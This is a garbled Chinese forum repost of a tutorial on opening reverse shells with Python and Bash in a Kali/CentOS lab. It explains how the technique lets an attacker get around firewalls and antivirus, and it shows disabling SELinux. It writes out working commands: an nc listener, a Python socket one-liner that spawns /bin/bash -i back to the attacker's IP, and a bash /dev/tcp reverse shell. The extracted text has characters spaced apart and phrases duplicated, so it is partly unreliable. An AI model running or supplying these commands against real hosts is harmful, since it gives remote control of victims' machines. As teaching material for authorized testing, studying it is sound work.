搜索

[21682] 2021-02-18_使用python和bash反弹shell的方法详解

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2021-02-18_使用python和bash反弹shell的方法详解 使 用 p y t h o n 和 b a s h 反 弹 s h e l l 的 方 法 详 解 剑 客   g e t s h e l l   L e m o n S e c   2 0 2 1 - 0 2 - 1 8 目 录 目 录                 含 义                 目 的                 原 理                 实 验 环 境 ：                 P y t h o n 反 弹 s h e l   l :                 B a s h 的 方 式 ： 声 明 ： 以 下 的 反 弹 s h e l l 的 介 绍 只 适 用 于 学 习 和 授 权 情 况 下 的 操 作 ， 请 勿 用 于 非 法 环 境 ！ 含 义 含 义 反 弹 反 弹 s h e l l   /   反 向 反 向 s h e l l   /   反 弹 壳 反 弹 壳   /   反 弹 外 壳 反 弹 外 壳 客 户 端 连 接 服 务 端 为 正 向 连 接 （ 如 ： 远 程 桌 面 、 客 户 端 连 接 服 务 端 为 正 向 连 接 （ 如 ： 远 程 桌 面 、 s s h 等 ） ， 反 向 连 接 弹 等 ） ， 反 向 连 接 弹 s h e l l （ 即 反 弹 （ 即 反 弹 s h e l l 为 攻 击 者 为 服 务 端 ， 受 害 者 主 机 为 客 户 端 主 动 连 接 攻 击 者 的 服 务 端 ） 为 攻 击 者 为 服 务 端 ， 受 害 者 主 机 为 客 户 端 主 动 连 接 攻 击 者 的 服 务 端 ）     目 的 目 的         对 方 主 机 在 外 网 无 法 访 问 对 方 主 机 在 外 网 无 法 访 问         对 方 主 机 防 火 墙 限 制 ， 只 能 发 送 请 求 ， 不 能 接 收 请 求 对 方 主 机 防 火 墙 限 制 ， 只 能 发 送 请 求 ， 不 能 接 收 请 求         对 方 对 方 I P 动 态 变 化 动 态 变 化         攻 击 了 一 台 主 机 需 要 在 自 己 的 机 器 上 交 互 式 地 执 行 目 标 机 器 中 的 攻 击 了 一 台 主 机 需 要 在 自 己 的 机 器 上 交 互 式 地 执 行 目 标 机 器 中 的 c m d / b a s h 命 令 命 令         遇 到 各 种 遇 到 各 种 A V （ （ A n t i V i r u s ， 杀 软 ） 对 正 向 的 连 接 数 据 包 检 测 ， 对 出 网 的 检 测 不 严 格 ， 杀 软 ） 对 正 向 的 连 接 数 据 包 检 测 ， 对 出 网 的 检 测 不 严 格   原 理 原 理 让 对 方 目 标 机 器 主 动 连 接 攻 击 者 机 器 （ 攻 击 者 指 定 服 务 端 ， 受 害 者 主 机 主 动 连 接 攻 击 者 的 服 务 端 程 序 ）         攻 击 者 A 开 启 1 9 1 1 1 端 口 T C P 服 务         受 害 者 B 连 接 1 9 1 1 1 端 口 T C P 服 务         A 、 B 建 立 T C P 连 接         A 通 过 T C P 服 务 将 待 执 行 命 令 发 送 到 B         B 执 行 命 令 后 将 结 果 发 送 给 A 实 验 环 境 ： 实 验 环 境 ：   攻 击 攻 击 ( 攻 击 者 攻 击 者 ) 主 机 ： 主 机 ：               K a l i 2 0 2 0 . 2       虚 拟 机 虚 拟 机                                                                                       n a t                                     1 9 2 . 1 6 8 . 2 5 4 . 1 3 2                                                           目 标 目 标 ( 受 害 者 受 害 者 ) 主 机 ： 主 机 ：               C e n t o s _ 6 . 9         虚 拟 机 虚 拟 机                     N a t           V m n e t 1                       1 9 2 . 1 6 8 . 2 5 4 . 1 7 3                                             1 9 2 . 1 6 8 . 1 0 . 1 4                                                                                                                                   【 步 骤 一 】 ： 保 持 防 火 墙 开 启 状 态 ， 关 闭 s e t e n f o r c e ， 结 果 如 【 图 1 】 所 示 ： 【 命 令 】   s e t e n f o r c e   0       / / 设 置 S E L i n u x   成 为 p e r m i s s i v e 模 式   临 时 关 闭 s e l i n u x 的 s e r v i c e   i p t a b l e s   s t a t u s     / / 查 看 防 火 墙 状 态
P y t h o n 反 弹 反 弹 s h e l   l : 【 步 骤 二 】 ： k a l i 使 用 n c 进 行 对 本 机 的 4 4 4 4 端 口 进 行 监 听 ， 目 标 主 机 执 行 下 面 p y t h o n 命 令 ： ， 结 果 如 下 图 所 示 ： 【 命 令 】 B a s h 的 方 式 ： 的 方 式 ： 【 步 骤 三 】 ： 使 用 b a s h 的 方 式 反 弹 s h e l l ， 结 果 如 【 图 3 】 所 示 ： 【 命 令 】 原 文 转 自 ： h t t p s : / / b l o g . c s d n . n e t / w e i x i n _ 4 5 5 8 8 2 4 7 / a r t i c l e / d e t a i l s / 1 0 7 4 6 9 7 1 2 ? u t m _ m e d i u m = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 5 . c o n t r o l & d e p t h _ 1 - u t m _ s o u r c e = d i s t r i b u t e . p c _ r e l e v a n t . n o n e - t a s k - b l o g - B l o g C o m m e n d F r o m M a c h i n e L e a r n P a i 2 - 5 . c o n t r o l 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c / / k a l i 使 用 n c 进 行 对 本 机 的 4 4 4 4 端 口 进 行 监 听 ： n c   - l v v p   4 4 4 4 / / 目 标 主 机 执 行 下 面 p y t h o n 命 令 ： p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 5 4 . 1 3 2 " , 4 4 4 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; ' n c   - l v v p   4 4 4 4 b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 2 5 4 . 1 3 2 / 4 4 4 4   0 > & 1
觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理